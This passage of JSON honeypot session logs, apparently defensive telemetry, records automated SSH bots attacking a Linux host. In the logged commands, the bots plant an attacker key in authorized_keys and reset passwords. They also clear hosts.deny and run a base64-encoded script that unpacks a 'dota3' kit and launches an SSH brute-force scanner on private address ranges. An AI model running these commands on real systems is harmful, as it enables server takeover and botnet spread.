sleep;"},{"seq":7,"at":"2026-08-21T17:00:02.728641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T17:00:02.729228+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T17:00:02.999908+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T17:00:03.766598+00:00","kind":"output","latency_ms":765,"data":"Mem: 15888 1047 12180 132 2660 0"},{"seq":11,"at":"2026-08-21T17:00:04.038223+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T17:00:04.790787+00:00","kind":"output","latency_ms":751,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-21T17:00:04.799625+00:00","kind":"output","latency_ms":2610,"data":""},{"seq":14,"at":"2026-08-21T17:00:05.062956+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T17:00:05.063491+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T17:00:05.333448+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T17:00:05.334408+00:00","kind":"output","latency_ms":null,"data":" 17:00:05 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T17:00:05.604159+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T17:00:05.604636+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T17:00:05.875676+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T17:00:05.876203+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T17:00:06.147780+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T17:00:06.148484+00:00","kind":"output","latency_ms":null,"data":"top - 17:00:06 up 1 day, 13:50, 0 user, load average: 0.04, 0.04, 0.04\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T17:00:06.419181+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T17:00:06.419577+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T17:00:06.691455+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T17:00:06.691775+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T17:00:06.962457+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T17:00:06.962767+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T17:00:07.234359+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T17:00:08.095515+00:00","kind":"output","latency_ms":860,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-21T17:00:08.366193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T17:00:09.203781+00:00","kind":"output","latency_ms":837,"data":"24G"},{"seq":34,"at":"2026-08-21T17:00:10.202326+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1234rfv\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T17:00:10.472040+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T17:00:11.145565+00:00","kind":"output","latency_ms":672,"data":""},{"seq":37,"at":"2026-08-21T17:00:11.396249+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T17:00:12.138370+00:00","kind":"output","latency_ms":741,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-21T17:00:12.409348+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T17:00:13.138500+00:00","kind":"output","latency_ms":728,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-21T17:00:13.408770+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T17:00:13.678888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T17:00:14.489948+00:00","kind":"output","latency_ms":810,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-21T17:00:14.763544+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T17:00:15.464728+00:00","kind":"output","latency_ms":700,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-21T17:00:15.737745+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T17:00:16.355202+00:00","kind":"output","latency_ms":617,"data":""},{"seq":48,"at":"2026-08-21T17:00:24.230213+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-21T17:00:24.232246+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1234rfv","method":"password","accepted":true,"tier":"other"}]} {"id":"b29bc095-7170-40d7-aaf1-f537ef951734","name":"frugal-leafy-serval","protocol":"ssh","channel_kind":"exec","src_ip":"172.173.200.62","src_port":44638,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":71,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T10:41:08.573334+00:00","ended_at":"2026-08-21T10:41:08.615394+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4079,"events":[{"seq":1,"at":"2026-08-21T10:40:37.169381+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T10:40:37.239596+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T10:40:49.282809+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T10:40:49.283231+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T10:40:49.370723+00:00","kind":"input","latency_ms":null,"data":"echo -e \"azerty\\nLb2bm6Mz7Wl6\\nLb2bm6Mz7Wl6\"|passwd|bash"},{"seq":6,"at":"2026-08-21T10:40:49.441489+00:00","kind":"input","latency_ms":null,"data":"echo \"azerty\\nLb2bm6Mz7Wl6\\nLb2bm6Mz7Wl6\\n\"|passwd"},{"seq":7,"at":"2026-08-21T10:40:49.512074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-21T10:40:49.512605+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-21T10:40:49.582129+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-21T10:40:50.365254+00:00","kind":"output","latency_ms":782,"data":" total used free shared buff/cache available\nMem: 15888 3251 9804 34 2832 12066"},{"seq":11,"at":"2026-08-21T10:40:50.456257+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-21T10:40:51.022310+00:00","kind":"output","latency_ms":565,"data":"lrwxrwxrwx 1 root root 7 Apr 24 2025 /usr/bin/ls -> /bin/ls"},{"seq":13,"at":"2026-08-21T10:40:51.099032+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-21T10:40:51.099799+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T10:40:51.169175+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-21T10:40:51.169811+00:00","kind":"output","latency_ms":null,"data":" 10:40:51 up 1 day, 7:30, 0 user, load average: 0.17, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-21T10:40:51.259406+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-21T10:40:51.260063+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-21T10:40:51.330710+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-21T10:40:51.331415+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-21T10:40:51.399891+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-21T10:40:51.400905+00:00","kind":"output","latency_ms":null,"data":"top - 10:40:51 up 1 day, 7:30, 0 user, load average: 0.17, 0.21, 0.17\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-21T10:40:51.471095+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-21T10:40:51.471448+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-21T10:40:51.541376+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-21T10:40:51.542164+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-21T10:40:51.611396+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-21T10:40:51.612009+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-21T10:40:51.681156+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-21T10:40:52.617584+00:00","kind":"output","latency_ms":935,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-21T10:40:52.735322+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-21T10:40:53.397873+00:00","kind":"output","latency_ms":662,"data":"25G"},{"seq":33,"at":"2026-08-21T10:40:55.025907+00:00","kind":"input","latency_ms":null,"data":"echo \"user1 azerty\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-21T10:40:55.096228+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-21T10:40:55.325814+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-21T10:40:55.611026+00:00","kind":"output","latency_ms":515,"data":""},{"seq":37,"at":"2026-08-21T10:40:56.109656+00:00","kind":"output","latency_ms":783,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-21T10:40:56.210283+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-21T10:40:56.869083+00:00","kind":"output","latency_ms":658,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-21T10:40:56.953923+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-21T10:40:57.025085+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T10:40:57.485025+00:00","kind":"output","latency_ms":458,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-21T10:40:57.608245+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-21T10:40:58.104062+00:00","kind":"output","latency_ms":494,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-21T10:40:58.181094+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-21T10:40:58.816713+00:00","kind":"output","latency_ms":634,"data":""},{"seq":47,"at":"2026-08-21T10:41:08.573959+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T10:41:08.574634+00:00","kind":"output","latency_ms":null,"data":"user1"}],"credentials":[{"username":"user1","password":"azerty","method":"password","accepted":true,"tier":"other"}]} {"id":"dde2d4ff-0ca4-483b-9053-7458166c5e99","name":"lonesome-hazy-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"45.194.3.128","src_port":46786,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":696,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-21T00:21:03.057453+00:00","ended_at":"2026-08-21T00:21:03.277755+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3479,"events":[{"seq":1,"at":"2026-08-21T00:20:20.051133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-21T00:20:20.735187+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-21T00:20:27.736189+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-21T00:20:27.737047+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-21T00:20:28.433454+00:00","kind":"input","latency_ms":null,"data":"echo \"root:luaHYBRExwsi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-21T00:20:29.129203+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-21T00:20:29.299723+00:00","kind":"output","latency_ms":864,"data":""},{"seq":8,"at":"2026-08-21T00:20:29.825330+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-21T00:20:29.826241+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-21T00:20:30.524103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-21T00:20:31.403640+00:00","kind":"output","latency_ms":880,"data":"15888 3124 12764 0 0 0"},{"seq":12,"at":"2026-08-21T00:20:32.101136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-21T00:20:33.351399+00:00","kind":"output","latency_ms":1246,"data":"-rwxr-xr-x 1 root root 147K Apr 24 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-21T00:20:34.047297+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-21T00:20:34.047959+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-21T00:20:34.744763+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-21T00:20:34.745324+00:00","kind":"output","latency_ms":null,"data":" 00:20:34 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-21T00:20:35.442147+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-21T00:20:35.445226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-21T00:20:36.142995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-21T00:20:36.145104+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-21T00:20:36.839262+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-21T00:20:36.840160+00:00","kind":"output","latency_ms":null,"data":"top - 00:20:36 up 21:10, 0 user, load average: 0.05, 0.06, 0.03\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-21T00:20:37.537248+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-21T00:20:37.537735+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-21T00:20:38.234393+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-21T00:20:38.235083+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-21T00:20:38.931583+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-21T00:20:38.932163+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-21T00:20:39.629808+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-21T00:20:40.480467+00:00","kind":"output","latency_ms":849,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-21T00:20:41.177789+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-21T00:20:41.796203+00:00","kind":"output","latency_ms":617,"data":"24G"},{"seq":34,"at":"2026-08-21T00:20:44.048893+00:00","kind":"input","latency_ms":null,"data":"echo \"root abcd-1234\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-21T00:20:44.743138+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-21T00:20:45.498396+00:00","kind":"output","latency_ms":753,"data":""},{"seq":37,"at":"2026-08-21T00:20:47.239931+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-21T00:20:48.227166+00:00","kind":"output","latency_ms":986,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3\n"},{"seq":39,"at":"2026-08-21T00:20:48.923902+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-21T00:20:49.558693+00:00","kind":"output","latency_ms":633,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":41,"at":"2026-08-21T00:20:50.254481+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-21T00:20:50.950504+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-21T00:20:52.048453+00:00","kind":"output","latency_ms":1097,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":44,"at":"2026-08-21T00:20:52.744016+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-21T00:20:53.613654+00:00","kind":"output","latency_ms":868,"data":"cached: horsefeed=12 stalls=48 boarding=19 vet=3"},{"seq":46,"at":"2026-08-21T00:20:54.311577+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-21T00:21:03.058328+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-21T00:21:03.058785+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"abcd-1234","method":"password","accepted":true,"tier":"other"}]} {"id":"dd3dc568-17c5-4e13-afe3-5fce7789988b","name":"weathered-shifting-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.186.36","src_port":45114,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":901,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T20:24:34.329664+00:00","ended_at":"2026-08-20T20:24:34.630091+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3988,"events":[{"seq":1,"at":"2026-08-20T20:23:38.256970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 